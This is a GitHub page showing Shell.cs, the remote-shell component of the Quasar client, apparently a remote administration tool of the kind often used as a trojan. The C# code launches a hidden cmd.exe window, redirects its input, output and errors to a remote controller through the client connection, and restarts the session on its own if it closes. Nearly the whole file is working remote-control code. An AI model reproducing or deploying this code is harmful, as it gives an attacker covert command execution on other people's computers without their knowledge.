This repository has been archived by the owner on Mar 17, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2.5k
/
Shell.cs
332 lines (290 loc) · 10.2 KB
/
Shell.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
using Quasar.Client.Networking;
using Quasar.Common.Messages;
using System;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Text;
using System.Threading;
namespace Quasar.Client.IO
{
/// <summary>
/// This class manages a remote shell session.
/// </summary>
public class Shell : IDisposable
{
/// <summary>
/// The process of the command-line (cmd).
/// </summary>
private Process _prc;
/// <summary>
/// Decides if we should still read from the output.
/// <remarks>
/// Detects unexpected closing of the shell.
/// </remarks>
/// </summary>
private bool _read;
/// <summary>
/// The lock object for the read variable.
/// </summary>
private readonly object _readLock = new object();
/// <summary>
/// The lock object for the StreamReader.
/// </summary>
private readonly object _readStreamLock = new object();
/// <summary>
/// The current console encoding.
/// </summary>
private Encoding _encoding;
/// <summary>
/// Redirects commands to the standard input stream of the console with the correct encoding.
/// </summary>
private StreamWriter _inputWriter;
/// <summary>
/// The client to sends responses to.
/// </summary>
private readonly QuasarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
/// </summary>
/// <param name="client">The client to send shell responses to.</param>
public Shell(QuasarClient client)
{
_client = client;
}
/// <summary>
/// Creates a new session of the shell.
/// </summary>
private void CreateSession()
{
lock (_readLock)
{
_read = true;
}
var cultureInfo = CultureInfo.InstalledUICulture;
_encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = _encoding,
StandardErrorEncoding = _encoding,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = $"/K CHCP {_encoding.CodePage}"
}
};
_prc.Start();
RedirectIO();
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> New Session created\n"
});
}
/// <summary>
/// Starts the redirection of input and output.
/// </summary>
private void RedirectIO()
{
_inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding);
new Thread(RedirectStandardOutput).Start();
new Thread(RedirectStandardError).Start();
}
/// <summary>
/// Reads the output from the stream.
/// </summary>
/// <param name="firstCharRead">The first read char.</param>
/// <param name="streamReader">The StreamReader to read from.</param>
/// <param name="isError">True if reading from the error-stream, else False.</param>
private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError)
{
lock (_readStreamLock)
{
var streamBuffer = new StringBuilder();
streamBuffer.Append((char)firstCharRead);
// While there are more characters to be read
while (streamReader.Peek() > -1)
{
// Read the character in the queue
var ch = streamReader.Read();
// Accumulate the characters read in the stream buffer
streamBuffer.Append((char)ch);
if (ch == '\n')
SendAndFlushBuffer(ref streamBuffer, isError);
}
// Flush any remaining text in the buffer
SendAndFlushBuffer(ref streamBuffer, isError);
}
}
/// <summary>
/// Sends the read output to the Client.
/// </summary>
/// <param name="textBuffer">Contains the contents of the output.</param>
/// <param name="isError">True if reading from the error-stream, else False.</param>
private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError)
{
if (textBuffer.Length == 0) return;
var toSend = ConvertEncoding(_encoding, textBuffer.ToString());
if (string.IsNullOrEmpty(toSend)) return;
_client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError });
textBuffer.Clear();
}
/// <summary>
/// Reads from the standard output-stream.
/// </summary>
private void RedirectStandardOutput()
{
try
{
int ch;
// The Read() method will block until something is available
while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1)
{
ReadStream(ch, _prc.StandardOutput, false);
}
lock (_readLock)
{
if (_read)
{
_read = false;
throw new ApplicationException("session unexpectedly closed");
}
}
}
catch (ObjectDisposedException)
{
// just exit
}
catch (Exception ex)
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> Session unexpectedly closed\n",
IsError = true
});
CreateSession();
}
}
}
/// <summary>
/// Reads from the standard error-stream.
/// </summary>
private void RedirectStandardError()
{
try
{
int ch;
// The Read() method will block until something is available
while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1)
{
ReadStream(ch, _prc.StandardError, true);
}
lock (_readLock)
{
if (_read)
{
_read = false;
throw new ApplicationException("session unexpectedly closed");
}
}
}
catch (ObjectDisposedException)
{
// just exit
}
catch (Exception ex)
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> Session unexpectedly closed\n",
IsError = true
});
CreateSession();
}
}
}
/// <summary>
/// Executes a shell command.
/// </summary>
/// <param name="command">The command to execute.</param>
/// <returns>False if execution failed, else True.</returns>
public bool ExecuteCommand(string command)
{
if (_prc == null || _prc.HasExited)
{
try
{
CreateSession();
}
catch (Exception ex)
{
_client.Send(new DoShellExecuteResponse
{
Output = $"\n>> Failed to creation shell session: {ex.Message}\n",
IsError = true
});
return false;
}
}
_inputWriter.WriteLine(ConvertEncoding(_encoding, command));
_inputWriter.Flush();
return true;
}
/// <summary>
/// Converts the encoding of an input string to UTF-8 format.
/// </summary>
/// <param name="sourceEncoding">The source encoding of the input string.</param>
/// <param name="input">The input string.</param>
/// <returns>The input string in UTF-8 format.</returns>
private string ConvertEncoding(Encoding sourceEncoding, string input)
{
var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));
return Encoding.UTF8.GetString(utf8Text);
}
/// <summary>
/// Releases all resources used by this class.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_readLock)
{
_read = false;
}
if (_prc == null)
return;
if (!_prc.HasExited)
{
try
{
_prc.Kill();
}
catch
{
}
}
if (_inputWriter != null)
{
_inputWriter.Close();
_inputWriter = null;
}
_prc.Dispose();
_prc = null;
}
}
}
}